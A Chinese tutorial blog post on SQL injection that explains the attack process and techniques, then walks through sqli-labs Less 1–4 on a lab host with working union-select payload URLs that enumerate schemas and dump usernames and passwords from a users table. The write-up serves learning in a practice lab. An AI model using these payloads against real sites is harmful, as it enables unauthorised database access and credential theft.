sql注入初试

什么是sql注入

定义

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。而SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

SQL注入是OWASP分别在2013年和2017评选的十大危害漏洞之首

注入过程

第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。

第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

攻击手法

1、基于布尔的盲注
因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。

2、基于时间的盲注
当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点。

3、联合查询注入
使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。

4、基于错误信息的注入
此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

sql注入类型及判断方式

数字型注入

当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

如何判断

当输入的参 x 为整型时,通常 test.php 中 sql 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断,即:

url 地址中输入 www.xxx.com/test.php?id= x and 1=1

观察到页面依旧运行正常,继续进行下一步。

url 地址中继续输入 www.xxx.com/test.php?id= x and 1=2

观察到页面运行错误,则说明此 sql 注入为数字型注入。

原因如下:

当输入 and 1=1时,后台执行 sql 语句:

select * from <表名> where id = x and 1=1

句中的and表示与运算,没有语法错误且逻辑判断为正确,所以返回正常。
当输入 and 1=2时,后台执行 sql 语句:

select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。
或者利用假设法,若为字符型注入,则上面两句在后台执行的sql语句应为:

select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'

两句中位于id后的是一整个字符串,and此处并没有执行与的逻辑判断操作,根本就不会产生上述结果,故假设不成立。

字符型注入

当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

如何判断

经过上述数字型注入的判断,字符型注入的判断方法我们照葫芦画瓢即可。
当输入的参 x 为字符型时,通常 test.php 中 sql 语句类型大致如下:

select * from <表名> where id = 'x'

这种类型我们可以使用 and 1=1#(如果发现#被忽略,则需要将#转义为%23) 和 and 1=2#(同上)来判断:

附上url中的转义字符表

特殊字符URL中用途转义方式
+表示空格%2B
(空格)应换用加号 + 或%20 表示%20
/分隔目录和子目录%2F
分隔实际的 URL 和参数%3F
%指定特殊字符%25
#表示书签%23
&URL中指定的参数间的分隔符%26
=URL中指定参数的值%3D
URL中指定参数的值%21

接上

url 地址中输入 www.xxx.com/test.php?id= x’ and 1=1#

观察到页面运行正常,继续进行下一步。

url 地址中继续输入 www.xxx.com/test.php?id= x’ and 1=2#

观察页面运行错误,则说明此 sql 注入为字符型注入。
(如果此处仍然没有变化,就将#换为%23)

sqli - labs靶场less 1-4

咱先说2,数字型注入,好理解一点,后面的1,3,4套路一样。目标是获取数据库user表中的username和password信息。

less-2 数字型注入

初始url:http://60231765.lxctf.net/Less-2/
在这里插入图片描述
开局一张图,让我们传个id参数,启动hackbar(google插件)问题不大 url:http://60231765.lxctf.net/Less-2/?id=2(此处id可为任意数字)
在这里插入图片描述
id后面加个单引号试试
url:http://60231765.lxctf.net/Less-2/?id=2%27(此处%27是 ’ 的转义)
在这里插入图片描述
观察错误描述,You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1,单引号处发生错误,尝试用 and 1=1和 and 1=2进行检查,经检测,发现 and 1=2 此情况页面显示不正常。
url:http://60231765.lxctf.net/Less-2/?id=2%20and%201=2(%20是空格的转义)
在这里插入图片描述
经过这么些操作,可以断定是存在数字型注入的了。
下一步,就是要猜测表的列数了。使用order by进行查验。
在这里插入图片描述
url:http://60231765.lxctf.net/Less-2/?id=2%20order%20by%2010
发现10不是正确列数,采用二分法继续查验。
在这里插入图片描述
一直查验到3,发现页面显示正常。
url:http://60231765.lxctf.net/Less-2/?id=2%20order%20by%203

接下来,使用联合查询union select找到信息存在哪几个列中。
在这里插入图片描述
url:http://60231765.lxctf.net/Less-2/?id=-2%20union%20select%201,2,3
发现信息存在第2列和第3列,接下来就可以干坏事了,嘿嘿

1)查询所有数据库
id=-2 union select 1,(group_concat(schema_name)),3 from information_schema.schemata
在这里插入图片描述
url:http://60231765.lxctf.net/Less-2/?id=-2%20%20union%20select%201,(group_concat(schema_name)),3%20from%20information_schema.schemata
可以看到这几个数据库information_schema,mysql,performance_schema,security
除了security都是自带的,所以security就是我们爆破的目标

2)查询数据表
id=-2 union select 1,(group_concat(table_name)),3 from information_schema.tables where table_schema="security"
在这里插入图片描述
url:http://60231765.lxctf.net/Less-2/?id=-2%20%20union%20select%201,(group_concat(table_name)),3%20from%20information_schema.tables%20where%20table_schema=%22security%22
得到表中存在emails,referers,uagents,users这么几个字段,而users正是我们的猎物

3)查询字段
id=-2 union select 1,(group_concat(column_name)),3 from information_schema.columns where table_name="users"
在这里插入图片描述
url:http://60231765.lxctf.net/Less-2/?id=-2%20%20union%20select%201,(group_concat(column_name)),3%20from%20information_schema.columns%20where%20table_name=%22users%22
发现users有两个数据,username和password正是我们需要得到的数据

4)查询数据
id=-2 union select 1,(group_concat(username," “)), (group_concat(password,” "))from users
在这里插入图片描述
url:http://60231765.lxctf.net/Less-2/?id=-2%20%20union%20select%201,(group_concat(username,%22%20%22)),%20(group_concat(password,%22%20%22))from%20users
这样就得到了所有用户的id名称和密码了

我滴任务完成啦!

less-1 字符型注入

前面几步都和less-2相同就不多解释,知道我们输入 and1=2发现页面还是正常显示,此时就应该注意是否是字符型注入。
我们尝试用 id=1’ and 1=1#和 id=1’ and 1=2# 判断。
在这里插入图片描述
url:http://60231765.lxctf.net/Less-1/?id=1%27%20and%201=2#
发现页面发生错误,说明#被忽略了。此时就要用%23进行转义。
在这里插入图片描述
url:http://60231765.lxctf.net/Less-1/?id=1%27%20and%201=2%23
发现页面显示正常了但是并没有输出内容,此时就可以判断出确实存在字符型注入了。
之后的操作就跟数字型注入的操作顺序一样了,要注意的是,每一句url结尾都要加上%23,一步步来可以得到全部用户的id和密码。

less-3 字符型注入(单引号加括号)

有了前面两题的铺垫,第三题就不难了。前面的操作都一样,知道在id后面加单引号。
在这里插入图片描述
url:http://60231765.lxctf.net/Less-3/?id=3%27
观察错误提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘3’’) LIMIT 0,1’ at line 1
说在 ‘3’) 处发生错误,跟前面的对比,发现只是3后面多了个括号,那我们加上试试。
在这里插入图片描述
url:http://60231765.lxctf.net/Less-3/?id=3%27)%20and%201=2%23
是不是又得到了显示正常但没有输出内容,后续的操作相信大家都懂,不再赘述。

less-4 字符型注入(双引号加括号)

第四题跟第三题简直一模一样,不信你看。
在这里插入图片描述
url:http://60231765.lxctf.net/Less-4/?id=4%22)%20and%201=2%23
后续操作都是一样的

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值